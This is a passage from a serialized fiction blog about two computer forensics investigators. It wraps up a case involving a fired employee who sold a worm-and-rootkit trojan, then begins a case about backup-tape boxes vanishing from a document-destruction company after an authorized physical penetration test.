The next google hit was even more interesting. It appeared to be a semi-private discussion between b3nd3r and m@st3r. The discussion appeared to have been an email exchange on a mailing list that had somehow been archived on a webpage.

_From: m@st3r0wnzU@yahoo.com To: b3nd3r@yahoo.com Subj: re: [l33tcr3w] info not there

D00d that is stupid. If I have this deployed and gathering infoZ and the process dies then I lose all my submissions? How much did you sm0ke before you thought about that? I had 42 entries before I went to bed. I checked it this morning and I have 2. So now I have to write rotation proggie to copy this $h1t to a new file or what? _

Hmmm. I still had no idea what the “infoZ” consisted of. The last hit on my google search was my only hope. It appeared to be another archived email message.

_From: b3nd3r@yahoo.com To: m@st3r0wnzU@yahoo.com Subj: re: [l33tcr3w] null

That’s not the code. I simply did not tell you that you have to assign string lengths in the w33d.ini file. You have to set w33dULENGTH and w33dPWORD in the w33d.ini file. It defaults to 8. If you actually read the entire .info file you would know that. Stop *****ing at me ****ing read the entire file. _

Ladies and gentlemen, we have a motive. Now the fun begins.

Source: archived original

Part XVII · Nov 21, 2005

“Dude, you need to put Roscoe on a diet man. This frick’in forensic case gets heavier every trip.” Scrap complained as he wheeled Roscoe in the door behind him. “Stop complaining and roll my little buddy over here.” I said with a grin. Roscoe and I were pretty tight, having worked on umpteen cases together.

I popped up Roscoe’s protective shipping case and removed the smaller suitcase-sized object from within.

“Mummies weren’t packed that well.” Scrap joked as he searched around hotel room for his pack of Newports.

“Mummies weren’t nearly this sexy.” I replied as I laid the hardened plastic suitcase on it’s side and unlocked the security latch. After a familiar “click” the top of the case popped open to reveal an LCD on it’s inner surface. Below the LCD sat the guts of Roscoe and a ‘happy hacker’ style keyboard.

Scrap grabbed Roscoe’s power cord and plugged it into a spare power socket on our power strip.

“Let’s boot Roscoe up and run some quick diagnostic tests to make sure everything is ready for the drive arriving tomorrow.” I suggested as I dug through a stack of spare IDE drives that I removed from our laptop carrier. I was looking for my hard drive labeled “baseline”. The “baseline” drive was used to test the operation of Roscoe and his installed software applications, particularly EnCase and Forensic ToolKit(FTK).

I felt a tapping on my left shoulder. Scrap was standing over me, an unlit cigarette in his mouth and an IDE hard drive in his hand.

“Cool! Thanks man. That’s exactly what I was looking for it.” I said enthusiastically as I placed the baseline hard drive on the designated anti-static data extraction pad. After attaching the appropriate IDE write-blocker on the IDE cable, I attached the baseline hard drive and flipped Roscoe’s power switch to “on”.

Roscoe refused to cooperate. He sat there in his case, staring blankly up at me like a sick child.

I quickly checked the power connections and the circuit breaker on the power supply. Everything checked out.

“Unbelievable! It looks like Roscoe was a casualty of our last plane trip.” I cried as I flipped the power switch from “off” to “on” in the hopes that by some stroke of magic Roscoe would power up like normal.

I picked up my cell phone and called the company responsible for creating Roscoe. After an hour on the phone with the warranty repair department, it was decided that Roscoe was very sick and needed to be shipped back to them.

I was quoted a three-day turnaround repair timeline which was very fair, however it wasn’t going to help me when I received Weed’s hard drive tomorrow morning. I needed to wrap this assignment up, and a thorough examination of Weed’s hard drive could be the final piece of the puzzle. To make matters more stressful, Scrap and I were due at a client’s location in two days to investigate a potential privacy matter.

Scrap came back into our hotel room, fresh from a smoke break. I filled Scrap in on the situation and asked him nicely if he wouldn’t mind taking Roscoe downstairs and shipping him off to the manufacturer.

“Bummer man. Yeah, I’m all over that. How are we going to examine Weed’s drive?” Scrap asked as he packed up Roscoe.

“I think it’s time I called in a favor.” I said as I picked up my cell phone and dialed a local Las Vegas phone number.

“Harwell Investigations. Harwell speaking.” came the voice from the receiver. I had met Hugo Harwell several years ago at a forensics training class and provided him with help with non-forensic matters over the years. Hugo was also an independent investigator, and kept himself very busy in Las Vegas.

“Hugo, Chief here. I need to call in a favor.” I said timidly.

“Ho boy, look - I’m out of Starbuck’s gift cards man. Call me back around the holidays.” Hugo joked.

“Seriously man, I need to ‘borrow’ your lab.” I pleaded.

“We’re finishing up a case as we speak. When do you want to come by?” Hugo asked.

“Tomorrow morning, sometime after eleven. Would that be ok?” I asked.

“No problem. This is one favor I don’t mind paying back.” Hugo said as he hung up.

Thank goodness.

[Note: This entry is yet another example of how important it is to make a lot of contacts no matter where your travels take you. If I hadn’t made an effort to stay in contact with Hugo and provide him with pro-bono assistance over the past years, Scrap and I would have been up a creek without a paddle.]

Source: archived original

Part XVIII · Nov 23, 2005

“What is that noise?” I wondered as I looked at the clock on the desk in our hotel room.

It was eleven o’clock in the morning, loud snoring noises were escaping Scrap’s pie-hole, and I was struggling to wake up.

Ah, it was the hotel room phone!I reached over and picked up the receiver.

“Good Morning!” came from the phone in a most perky voice. “This is Darlene at the front desk. You have a package waiting for you.”

I wiped the sleep from my eyes.

“Thank you.” I said as I attempted to place the phone back in it’s cradle.

A carefully aimed pillow to Scrap’s head ended the thunderous noise escaping his head.

“Two dances! I get two dances for $20!” Scrap moaned as he woke up. “Oh, uh, ‘morning Chief. Never mind that whole ‘dance’ thing.”

I grinned in disbelief. The guy dreams about being at strip bars.

Two coffees and a trip to the front desk later, we were in our rental car and very late to our appointment at Hugo’s office. We arrived a short time later at a relatively new office complex, complete with a tombstone marker near the road that read “Harwell Investigations”.

We entered the lobby and informed the receptionist of our identities.

“Mr. Harwell will be with you in a moment.” the receptionist said with a smile. I enviously stared at the venti-sized Starbucks coffee cup on her desk.

“Chief! It’s been a long time. Welcome to Las Vegas. The lab is this way.” Hugo said as he directed us down a short hallway to a cardreader-secured doorway. A quick swipe of his card and the door unlocked.

The lab was a decent size and very well equipped. Scrap and I stowed our gear on a table nearby, and I proceeded to open the package from Brian.

Inside the well-packed box was an IDE hard drive in an anti-static bag wrapped in a clear makeshift chain-of-custody bag.

“The boy can follow directions to a proverbial ‘T’.” I commented as I initialed the bag and removed the hard drive.

Hugo handed me a brand-new IDE hard drive of the same size. We attached the blank hard drive and Brian’s drive to the forensic workstation and booted the machine.

“Mind if I drive?” Hugo asked as he began to make a quick forensic copy of Brian’s drive. Hugo was a stickler to proper procedure, which I highly admired.

After a few moments the copy process was completed. Scrap shut the workstation down and Hugo stowed Brian’s drive back in the anti-static bag. He then placed it back into the CoC bag and initialed it.

“Time to get busy!” Scrap said with a smile. He booted the forensic workstation back up and started a Forensic Toolkit (FTK) session. FTK attached to the image with zero problems and began it’s indexing of the contents.

During this time I carefully filled Hugo in on the details of our assignment.

“This seems like a slam-dunk, Chief. Examine the drive, write a report on the artifacts found, and hand the report to the client. Nice.” Huge said as he held his chin with his hand.

FTK indicated that it was ready to roll. Scrap booted up the Scraptop in preparation for some note taking.

We began the session by “coasting” through the contents of the image. It’s generally a good idea to become familiar with the type of data on the drive, it’s location, and then narrow one’s focus on the important artifacts found.

This drive was fascinating. We started with some keyword searches that we had gleaned through our previous investigative efforts.

Searches for “w33d” revealed a treasure trove of artifacts that included the source code to w33dserver, the source code to b3nd3r’s ‘moneyfart’ trojan, internet explorer cache entries to message boards, and numerous Microsoft Outlook Express E-mail messages.

Piecing the artifacts together is typically the most time-consuming part of any examination, and this was no exception.

Several hours of examination and a pot of coffee later, we believed that we had collected every relevant artifact from the drive image. I was busy examining b3nd3r’s C source code and was trying to make heads or tails of his erratic coding style. Scrap was perusing through the captured E-mail messages.

“Holy crap, boss. I feel totally 0wn3d.” Scrap said as he pointed to the forensic computer’s LCD screen.

“What’s up?” I asked.

Scrap scrolled back up through the message on the screen.

“Check this out.”

I peered at the message in awe.

**From: b3nd3r@yahoo.com To: 3atmahshorts@yahoo.com Subj: GTG Yo. Your customized MF executable is sitting in your email account. Received the cashola. If u want another customized one you can wire me another 500 bones. The source will cost you more. Later. **

“Oh, that’s not the best one man. Check this one out!” Scrap as he scrolled down through a different E-mail message.

**From: b3nd3r@yahoo.com To: bigmahnsteh@yahoo.com Subj: re: triple one yep it works. I have tested it numerous time in a live j/k environment. attached for your whacking pleasure. [Attachment: 111.exe] **

“Holy caffeine benders.” I said out loud. “What’s the MD5 checksum of that attached fiile?”

Scrap read the checksum out loud as I examined the checksum in my notes from the 111.exe file captured from the kiosk machines.

Perfect match.

Source: archived original

Conclusion · Nov 28, 2005

“I’m not sure what I’m more upset about.” Scrap began. “Him making serious cash from his skills or the fact that he smoked all my smokes and milked beer from us at Def Con.““I know what I’m upset about.” I said as I glared at the screen.

“He sure ruined my trip to Las Vegas.”

Scrap nodded in agreement.

Several hours later we packed up our gear and thanked Hugo for the use of his lab with a tasty prime rib dinner.

We arrived at Hugo’s favorite steakhouse and were promptly seated in a large booth.

“So you’ve burned up all the client-allocated hours on this investigation and are ready to wrap this up?” Hugo asked in between sips of beer.

“Correct. Since we’re dealing with a terminated employee and have isolated the root cause of the incident, they have requested a final report by next week.” I replied as I smacked Scrap on the arm, distracting him from his elongated gaze at the hostess.

“Huh? Um, yeah this was a weird one indeed. Not as weird as other cases, but there were quite a few twists involved.” Scrap said as let out a large yawn.

“Care to let me in on what your final report is going to say? This is fascinating.” Hugo asked.

“Sure. As I told you shortly after we arrived, this all started from some misbehaving demo kiosk machines at the trade show. We were able to surmise that a tasty piece of malware was being installed on the machines from an external source, and then trying to replicate itself to other vulnerable machines.”

Hugo finished his beer with a large belch. “Right. The malware was preventing the demo machines from functioning normally, which could be contrived as some type of denial-of-service attack.”

“Precisely.” I began. “Reese was concerned that she was being specifically targeted by someone that wanted her demos to fail, when in fact it was a side effect of a misconfigured rootkit and worm. Weed had tested the stuff on a live network which we later learned was a DMZ-based sales demo server. It would appear that the worm got out of control and attacked every machine on their local area network and DMZ segments. The network monkeys missed checking the sales demo servers for the worm, hence the reason the demo kiosks were infected the minute they connected to the web server.”

Scrap flagged down the waitress for another round of drinks and eagerly added to the conversation.

“From what we learned in the lab, it looks like Mr. Weed was developing his personal information-snatching worms during company time, and then discovered that he could pimp out his worm with a rootkit and make some cash from interested parties.” Scrap said.

“Right, but what I don’t understand is why there were so many components involved here. The guy writes a killer worm, then mixes in a rootkit for profit, and then deploys some server-side code to propagate the worm to web clients? This sounds way too complex for a series of accidents.” Hugo said as he raised his eyebrows. “The guy was either really good, or really incompetent.”

I chuckled. “I think he was a combination of both. The worm was a brilliant piece of coding. It actually checked to see if IIS was running on the host - if it was it looked for standard default web pages to infect like index.html or index.asp for example.”

Hugo raised his eyebrows again. “Wait a second, so why did the guy just leave his workstation intact when he was canned? Didn’t you say he didn’t change the local administrator password?”

“You are correct again, but you need to look at Weed’s position in the company. He was practically the network manager and assumed that that he was so important that they’d never can him. Unfortunately for him, the company called his bluff and terminated him for being constantly late for work. He was written up three times for being several hours late to work and smelling like alcohol.” I replied.

“Oh! And the reason the workstation was intact was because the company actually followed their termination procedures to a ‘T’. They called Weed to the human resources office, terminated his employment and escorted him out to his car. He didn’t even call to come get his stuff in his office. Apparently his fine collection of shot glasses wasn’t that important.” Scrap joked.

“Shot glasses? How did you learn about shot glasses?” I queried.

“It was in his employee file. Apparently they were mailed to him.” Scrap responded.

“Gotcha. So anyway, my recommendation to the company will be to document the incident thoroughly, do a top-down security review of electronic assets, policies, procedures and personnel and then move on. The research and evidence that we’ve documented speaks for itself.” I stated.

“Wow. That sure was a lot of work just to write a report!” Hugo said with a laugh. “Unfortunately, I’ve been there and done that. Hey, it pays the bills.”

“That it does, my friend.” I said with a smile as we toasted our beer mugs.

“To Weed, these are three beers that you won’t be drinking on our tab.” Scrap said to thunderous laughter from the table.

Source: archived original

17. Case of the Tepid Tipster

Fri, 02 Dec 2005 00:00:00 +0000

Part I · Dec 2, 2005

[Note from the Chief: Sorry this case file entry is a bit late. It’s been a busy week! I think you’ll find that this case file is a bit different than the others you have enjoyed. Then again, this case was completely different than anything we had ever worked on. Pay attention, use your head, and most importantly … enjoy.]

“We are never going to get in there.” Scrap said as he peered over the dash of the rental car with his binoculars. “The gate is locked, those walls are easily seven feet tall, and I hear barking. Barking means there are dogs. Dogs mean we are certain to be eaten alive.”

I grabbed the binoculars from Scrap and peered at the entrance to Allison Technologies.

“You missed the two surveillance cameras on either side of the building face. I wonder if those are just recording, or is a human actually watching them?” I asked as I cranked the engine of the rental car to life.

“Do we really need to find out?” Scrap whined as we drove towards the back of the building.

“Jackpot.” I said as I peered at the loading dock. There was a door off to the left of the loading dock that was badge-reader enabled, however there were no lights on nearby and not a single camera to be seen.

“Get out.”

“Huh?” Scrap asked, his eyes bulging out from his brow.

“Grab the badge you scored at lunch and see if it’s still good.” I said as I pointed at the door. “The clock is ticking, dude.”

“Yeah, yeah. I can’t believe I gave up network administration for this.” Scrap mumbled under his breath as began the forty meter walk to the back entrance.

I grabbed the binoculars and watched Scrap’s every move, including the repeated nervous scratching of his monkey head.

Scrap approached the badge reader. A friendly red LED glowed on the badge reader, almost enticing Scrap to swipe the badge. He eventually gave in to the red LED after a few seconds and swiped the badge through the reader. The red LED went off and a green LED became lit. A loud “CLICK!” could be heard all the way back to the rental car.

Moments later, a shadowy figure resembling Scrap exited the same door, carefully closing the door shut behind him. Scrap jogged back to the car at a brisk pace and jumped into the passenger seat. He was hugging a small box as if it were trying to escape.

“Got it?” I asked with a smile.

“Mission accomplished.” Scrap replied as he lit a cigarette. “Now if I just had a clean pair of boxer shorts handy, I’d be okay.”

The assignment was a bit out of the ordinary for us, but it was a paying job. We were asked to infiltrate an information destruction company and steal a specific box from a storage room. We were not allowed to cause any physical damage, or do anything that could harm any employees.

Through the use of a great plan and some luck, we had pulled the job off brilliantly.

Scrap took a long drag off of his cigarette. “Seriously, Boss. I could be at home managing a network from a single SSH session. And instead, I’m in a car with you and narrowly escaping being eaten alive by dogs.”

“Pipe down.” I laughed as I picked up my cell phone and dialed a number. “You were nowhere near those puppies. Next time you’re going in through the front door.”

I heard several ringing noises on my phone, and someone finally answered.

“Jonathan Allison” came the voice from the other end of the phone connection.

“Jon, it’s Chief.”

Jon paused, as if trying to remember who the heck I was.

“Ah, yes! Chief! I apologize, I was sleeping on the couch. What’s up?” Jon asked.

“I have the package.”

Source: archived original

Part II · Dec 3, 2005

Jon almost dropped his cell phone.

“What? That’s impossible. There’s no way you got into my facility in under twenty-four hours!” Jon exclaimed.“We’ll meet you in your office tomorrow morning. Don’t forget to have the other half of that check waiting.” I said happily as I ended the phone conversation.

Scrap raised the small box in his hands in an attempt to read the label on the top of the box.

“FullBox Designs, Inc. Box #4455. Barcode number XXXXXXXXXXXXX.” Scrap mumbled slowly, straining to read the characters in the limited light of passing street lights.

“Chief, this looks like a tape backup storage box of some sort.” Scrap said. “So why would a client hire us to attempt entry into his own facility and steal a box that he’s been given custody of?”

“I don’t even know the entire story on this. When I visited Jon at the site he gave me a quick tour of the facility and said he wanted a physical security penetration test.” I replied.

Scrap paused for a moment. “Our methods were a bit dubious, wouldn’t you say?”

“Perhaps.” I said as I dropped Scrap off at his apartment complex. “We’ll know more tomorrow.”

The next morning Scrap and I were seated in the office of Jonathan Allison, President of Allison Technologies, Inc.

ATI was an information destruction company that specialized in paper shredding and media destruction. ATI was originally a document management software company that was squeezed out of the market by several larger players. Jonathan took a gamble and changed his business to information destruction. ATI had their headquarters building in an industrial park, surrounded by other large warehouse-type buildings. Jonathan was a hands-on type of guy and personally designed and oversaw all security system implementations for ATI.

Several days before, Jonathan had contacted me through a third party about performing a physical penetration test. While I would have typically referred him to several private investigation firms that specialize in such matters, this one sounded very inviting, and the fee was right. Jonathan wanted me to gain access to his building and remove a box from a storage room. If I could pull of the engagement in less than forty-eight hours, I would earn my agreed upon fee plus a bonus of twenty-five percent. This added incentive was the reason that I asked Scrap to join me in brainstorming the operation.

With only a cursory facility inspection by me and our knack for mischief, we had put our plan into motion, and in the end we were successful.

“Good Morning Chief.” Jon said as he poured us all cups of piping-hot columbian goodness. “So, I noticed that the box was gone when I came in, just as you said it would be. My alarm didn’t go off, and I have nothing on my security cameras. How did you do it?”

Scrap unzipped his gym bag and placed the box on Jon’s desk.

_ “The weakness in your security program is shared by many companies in today’s world: your employees, and your security procedures. After our meeting the other morning, I asked Scrap to join me on this engagement. At lunch time we noticed that many of your employees walked down the street to the corner deli.

We entered the deli and saw approximately five employees sitting at various tables. While Scrap and I pretended to be making up our minds on what we wanted to eat, one of your employees got up from her table and went into the restroom. The employee left her purse on the table with another employee close by.

Scrap noticed that her badge was clipped to the zipper of the purse. While I distracted the other employee with questions on getting to the airport, Scrap grabbed the badge and placed it in his pocket. I thanked the employee for her directions to the airport and we left the deli.” _I said, glancing through my notes on a small notepad.

“You just walked into my facility, grabbed the box and left?” Jon asked in complete astonishment.

“Correct. The badge was still active and provided Scrap with access to the loading dock door. Successful entry into the door with a valid badge did not trigger an alarm system.”

Jonathan grinned widely and sipped on his cup of coffee. “Well, I have to say, that was impressive.”

“Thank you.” I replied as I handed Jonathan the stolen employee badge. “You might want to find out why Bernice Clueless didn’t report her badge missing.”

“I’ll be sure to do that. Well, you certainly earned this.” Jon said as he handed me a company check with a very inviting dollar amount printed on it. “However, this only confirmed to me a suspicion that I already had.”

I glanced at Scrap. Scrap raised his eyebrows in interest.

“I’m sorry. If you knew you had security issues with your facility, why did you ask us to perform this test?” I queried.

“Because we’re missing some boxes.”

Source: archived original

Part III · Dec 6, 2005

I wanted to speak, but for the first time in a long time the words just wouldn’t leave my mouth. Luckily for me, Scrap jumped right in.

“Woah. You’re missing some of these transport boxes? Like, how many?” Scrap asked.

Jonathan took a moment to think and then clasped his hands together in front of him. “Well, let me clarify. Ten boxes of tapes and paper information destined to be formally destroyed by my company have left this building. They then mysteriously reappeared.”

Well, that’s something one doesn’t hear about every day. David Copperfield’s amazing storage boxes, complete with magic wand and cape.

“I guess what I’m looking for is some recommendations on how to strengthen my security here so I don’t have to worry about these boxes disappearing and then reappearing.” Jonathan said with a grin.

“Jon, I’m lost on something. First, how did you know they were missing?” I asked impatiently.

“We have a custody system here. Our truck drivers visit our customers on specific days to pick up information that needs to be destroyed. The customer signs the boxes over to the driver who padlocks each box. The driver drops the boxes off here at the receiving center where each box is inventoried and signed in. We use a barcode system to keep track of inventory. The driver scans the bar code on the box when he receives it and then he gives the box to the processors here in the building. The processors scan the box in to their inventory and the box is placed in a secure storage room that is badge-controlled. All of the boxes are in a huge queue for destruction. When it’s time, the box is retrieved and scanned out of storage inventory into a destroyer’s inventory. The destroyer unlocks the box, disposes of the information through a variety of means, completes the destruction certificate, and gives the certificate and the empty box to a processor who arranges to have the empty box and certificate given to the customer on the next pick-up day.” Jonathan explained in great detail.

“So at some point in this process a box could not be found?” Scrap asked.

“Correct, Mr. Scrap. Over the past two months the processors have literally ’lost’ boxes. They are marked as “missing” in the inventory system and we skip them for destruction. Every friday we have a huge load of boxes to empty and destroy, and wouldn’t you know it - the boxes mysteriously appeared on Friday and were destroyed several days behind schedule. Nobody seems to know where they came from.” Jonathan said as he swirled his index finger around the top of his coffee cup.

“So you’d like us to recommend some security practices to prevent this from happening again?” I queried.

“Correct.” Jonathan said.

“So am I correct in assuming that all boxes are accounted for at this time?” I asked.

Jonathan sat up in his chair and aimed a wireless barcode reader at the box that Scrap had stolen earlier. With a squeeze of the trigger, a red illuminating light shot out from the reader and glided across the surface of the barcode on the box. The reader emitted a loud “BEEP!”.

“Now they are.” Jonathan said with a smile that occupied his entire lower face.

I turned to a fresh piece of paper in my notepad and started making some notes.

“Jonathan, what kind of information is in these boxes?” I asked as I stared at the box on Jonathan’s desk.

“It varies. Financial records, source code, you name it. I’ve seen it all.” Jonathan replied. “I have about one hundred customers in this city.”

“Interesting. We’re going to need all access to the building, and at least two days to do a thorough walkthrough and analysis. At that point, it could take you one to several weeks to implement all of our suggestions. Are you expecting to be missing any boxes during this time period?” I joked.

“Actually, I am.”

Source: archived original

Part IV · Dec 9, 2005

“I’m starving!” Scrap said as we entered a nearby Chinese food restaurant.

Scrap and I typically strategize over a meal, or at least coffee. I was still a bit puzzled by our new assignment and wanted to get Scrap’s usual “I can’t think inside the box because I left it in my car” perspective.

“Boss, I could write up our final report right now and save us a whole lot of time and trouble. It would start with ‘Dear Diary, Jonathan is a complete whack job’!” Scrap said with a snicker as he sat down in his chair.

“You know, normally I’d chide you about picking on the client, but he is a strange one. I mean, the guy KNOWS he has something weird going on in his facility, and instead of having additional cameras or other safeguards installed, he brings in an outside consultant to do something that he suspected was possible all long. Now he wants us to write up a risk assessment and a proposal to stop the boxes from disappearing?” I asked as I waved at our waitress. We were two very hungry chimps.

“Uh, oh. You have ’that look’ on your face again.” Scrap said. “And I have a feeling it’s not because you smell lemon chicken cooking.”

Scrap and I gave our orders to the waitress quickly and shared a small kettle of hot tea.

“Look, this is going to go nowhere fast. You and I both know that they only way we’re going to feel good about earning all this cash that he’s stuffing into our bank accounts is to get to the bottom of all of this.” I said sternly.

“Actually, I’m okay with just spending the cash.” Scrap joked with a slurp of hot tea. “So, Boss, what’s the plan?”

“Let me think while I eat.” I replied as I dug into an extra large portion of lemon chicken and white rice.

I was five bites into enjoying the tangy dish preferred by monkeys everywhere when the plan started dribbling from my lips in hurried sentences.

“We quietly pull the inventory reports from the bar code systems for the past 90 days, and then we go on a fishing trip. We need to isolate which specific boxes went missing, how long were they missing, who did they belong to, who picked them up, who stored them, who was supposed to destroy them, etc. We follow the process from the beginning to the end and we pick it apart.” I said with a quick wipe of my napkin.

“Groovy. Something I don’t understand right now is why didn’t Jonathan start an internal investigation when all of this started? I mean, come on! The guy only employs twenty people. How hard could it be to investigate this?” Scrap queried as a piece of sweet and sour pork shot from his mouth into my cup of tea.

“Dude, gross! Keep your pork to yourself.” I said as I fished the pork out of my tea and threw it back on his place. “I suppose you hear that a lot from your dates.”

Scrap was busy thinking up a comeback quote when I took advantage of his silence to answer his question.

“Jonathan is a strange type, that’s for sure. I’m starting to wonder if maybe he knows what is going on but wants someone outside of his organization to find it and report it.” I said.

“Seriously? But WHY?” Scrap asked.

“If I knew that, I’d be writing that final report right now without your clever suggestions.” I replied with a grin. “Lunch is on me. Let’s roll back to Jonathan’s facility and start pulling that report.”

We hurried back to Allison Technologies and asked Jonathan for access to his inventory system. Jonathan was receptive to our request and printed out every box transaction for the past 90 days.

The report was nearly 300 pages long.

Scrap and I set up our analysis operations in a small conference room and perused the report. We divided the report into two 45-day time periods and went to work.

It was nearly closing time at the facility when we had finally tracked all of the disappearing boxes down and found the moments in time when they had reappeared. I took my notes and walked to the other side of the facility where Jonathan’s office was located.

“Jonathan, how many boxes have been reported missing over the past 90 days?” I asked.

Jonathan scrutinized my question for a few moments. “I believe there were about six boxes reported to me by my destroyers. Why do you ask? Did you and Mr. Scrap come up with a different number?”

“Yes, actually we did.” I said as I turned my notepad around to display a number written in large black pen.

“48”

Source: archived original

Part V · Dec 13, 2005

“What?” Jonathan said with a dismissive hand wave. “Come in here and sit down.”

I took a seat in front of Jonathan’s mahogany desk.“Jonathan, we went over the scanning records very carefully. We have noted 48 instances where boxes were scanned coming off the truck, scanned by a processor, and then missing from inventory during the end of night inventory. Your closing inventory taker marks the missing boxes as ‘En route’. What does that mean?” I asked.

Jonathan looked like I had just asked to have marital relations with his wife.

“En route? That is only used when we put a box on a truck that is headed to a customer location. The procedure involved scanning the box OUT of the facility and IN to the truck. He is marking them as ‘En route’ in the comments field or what?” Jonathan asked as he reached the report I was holding under my notebook.

“That’s what we’re seeing. I’d like to talk to employee ID #44, who happens to be the only employee marking the boxes as ‘En route’.” I said as I jotted down some additional notes.

Out of the corner of my eye I saw Jonathan glance at his watch nervously.

“If we hurry, we can catch him. His name is Jose Molet.” Jonathan rattled off as he whisked by me and headed for the door.

I grabbed my gear and kept an even pace with Jonathan as he badged us into the largest of three storage rooms. Jonathan pointed at shorter gentleman sitting behind a desk.

“There. That’s Jose.”

I approached Jose’s desk and waited to make eye contact with him.

Jose was apparently unaware of my presence, aided by the iPod earbuds that were planted in his ears. I faintly detected hearing a strange combination of salsa and mariachi music.

“Jose!” Jonathan said loudly. “HOOOOOO-ZZZZAAAAYYYYYY”

I reached over and popped an earbud out of Jose’s left ear. Jose stood straight up, nearly knocking me over.

“Mister Allison! Hello! I was just looking over the inventory reports from yesterday.” Jose said . It was obvious to everyone in attendance at Jose’s impromptu siesta that he had been sleeping.

“Jose, this is the Chief. He needs to ask you some questions about inventory control procedures.” Jonathan said in a slightly irritated tone.

“Of course! Chief, have a seat. I will assist you in any way possible.” Jose said as he sat back down, nearly missing his own chair.

Jonathan glared at Jose for a few moments and then walked back towards his office.

“Jose, what can you tell me about these boxes labeled ‘En route’?” I asked as I drew Jose’s attention to the report in my hand.

Without missing a beat, Jose replied immediately. “Oh, that is easy. Those are boxes that were put on the morning truck.”

I was practicing my best ‘Scooby-Doo WHATTHEHELLAREYOUTALKINGABOUT’ face.

“I beg your pardon? These boxes are on the morning truck? Their contents haven’t been destroyed yet.” I said.

Jose stared at the report very carefully. He was very quiet.

If I had learned anything in many years of investigation, it was how to recognize the face of someone who wanted to tell me something that they knew they shouldn’t. Jose’s face was screaming louder than a blond extra on the set of a horror movie.

“Jose, if you know where these boxes are going, I’d really like you to tell me. I won’t tell anyone that you told me. Not even Jonathan.” I said with a sincere stare.

Jose looked up from the report and looked around the room, almost as if he were scanning it for eavesdroppers.

“Chief, those boxes really are on the trucks and ‘En route’.”

I sat up in my chair and leaned forward towards Jose.

“I don’t understand what you’re trying to tell me. The boxes are on the morning truck and ‘En route’? En route back to the customer?” I asked

“They are.” Jose said with a frown. “After a pitstop.”

Source: archived original

Part VI · Dec 20, 2005

I was feeling a bit dizzy. It wasn’t from the coffee I had earlier, but Jose’s knack for talking in circles.

“Pitstop?” I queried. “What exactly do you mean by a ‘pitstop’?”

Jose became quiet again, nervously tapping on his desk.“I mean that the boxes… well, they make a little stop, then they come back, and that’s it.”

I was losing my patience after digesting that last bit of nonsense from Jose. Two can play at his game.

“So, let me see if I understand this correctly. The boxes are taken off the truck, scanned into inventory, and then put on the morning truck, and then come back and mysteriously end up back in inventory?” I asked.

“Yes.” Jose replied.

“Good. And then, the most senior processor on staff is let go for violating corporate policy, however he gets a small confidential severance package for helping identify the rest of the individuals and recovery of any customer assets?” I pondered out loud, staring at the top of Jose’s head.

Jose was quiet again.

“I don’t want to be in trouble.”

I screamed a silent victory yell inside. A crack had formed in Jose’s circular logic eggshell.

“You’re going to be in trouble no matter what Jose. The tracking logs don’t lie. You haven’t been able to produce a business reason why these boxes are loaded back onto a truck and disappear, only to reappear later.” I said as I continued to stare at Jose. “All of these boxes were scheduled for formal, documented destruction. Why are they being taken offsite?”

Jose stood up from his chair and placed his iPod on his desk, neatly laying the earbuds next to it. He walked towards a storage room and badged himself in.

I followed.

Jose pointed to a row of shelves in the storage room. There were empty places on several shelves where boxes should have been.

“These boxes are scheduled for destruction tomorrow. The missing boxes are on the morning truck.” Jose informed me as he jiggled the locks on several boxes on his way out of the room.

“Where’s the truck at now?” I asked, following Jose out of the storage room.

“It’s backed up to the dock. Everyone has gone home by now. We’ll need to have Jonathan open up the lockbox to get into the truck.” Jose said as he sat back down.

“You mean I’ll need to have Allison open up the lockbox.” I replied sarcastically as I realized that Jose was not wanting to attract any more attention to himself than necessary.

“Yep.”

I was drunk with questions. What was in these particular boxes? Why were they so valuable? What was being done with the contents?

A few minutes later, Jonathan and I were inside their lockup room and Jonathan opened a lockbox located on the far side of the room.

“We can unlock the truck with these.” Jonathan said as he removed some keys from the lockbox and headed toward the dock.

After a few moments we were opening the large roll-up door to the dock and were staring at the back of an Allison Technologies transport truck.

Jonathan inserted the key into the back of the truck, and with several turns opened the back door of the truck. I turned on a small flashlight that I had brought with me and gazed around the interior of the truck.

There were several boxes lined up next to each other along the right side of the truck. I compared the inventory tag numbers on the boxes to the missing boxes from the report. Jose was correct, these boxes were missing from today’s deliveries. According to the report, the boxes were from different companies.

Jonathan reached into his pocket and removed a cylindrical looking key.

“What’s that?” I asked as I saw Jonathan crouch down in front of one of the boxes.

“A destroyer’s key.” Jonathan said as he unlocked and opened each of the boxes.

“Well, that’s a shocker.”

Jonathan motioned for me to look in the boxes.

They were stuffed with high-capacity backup tapes.

Source: archived original

Part VII · Dec 23, 2005

“Dude, you look frazzled.” Scrap said as we sat down in the booth at a nearby restaurant for some well-deserved dinner.

“You have no idea. I am starting to regret taking this job.” I replied as I rolled my eyes. “Already there, man. Time for a recap?” Scrap asked. “When you returned from playing around on the dock you looked like you wanted to pull your hair out.”

I rubbed my eyes and let out a chuckle. “I haven’t been this frustrated since the time you got us kicked out of that ’entertainment club’ in Vegas and you hurled in the rental car.”

“Say what?” Scrap asked.

“Nothing. Look, let’s analyze what we’ve seen so far. Jonathan knows that something unusual is going on in his company. Concerned employees have pointed this out to him, yet for some reason he is unable to pinpoint the exact problem or the perpetrators responsible. He brings us in to penetrate his facility, which we do … no, wait … which he KNEW we could do, and then acts surprised when he finds out that a lot more of these storage boxes go ’temporarily’ missing on a routine basis. We track down a few of these missing boxes thanks to an employee who is scared to death of Jonathan and perhaps other employees, and Jonathan has access to a destroyer’s key set, which according to his own policies should not be possible. Only designated employees responsible for material destruction have those keys, and they back each other up. Nobody outside of the destroyer job profile should have those keys. Hell, even the keyholder of the company is a destroyer. The controls were designed well, but there is an obviously poor execution of them here.” I whined.

Scrap reached for one of the beers that magically appeared on the table in front of us thanks to an alert waitress. “Don’t forget about me almost being dog food, man. It’s a good thing we used that badge to go in the back way. So what does Jonathan want to do now? I’m sure he said something to you after you two found those boxes in the back of the truck.”

“It’s a flippin’ goose chase Scrap. Through our investigation we managed to find the evidence that shows that a problem exists and is far worse than Jonathan thought. We have an employee, Jose, who will probably cooperate and point fingers. I told Jonathan that we should do surveillance, leverage Jose’s possible cooperation, and discover why boxes only containing backup tapes are leaving the facility. You’ll never guess what he said!” I exclaimed.

“He saved money on his car insurance?” Scrap joked.

“He said that he’ll think about it. He’ll THINK about it. I want to slam my head into a wall.” I said as I downed the rest of my delicious malted beverage and signaled the waitress for another round.

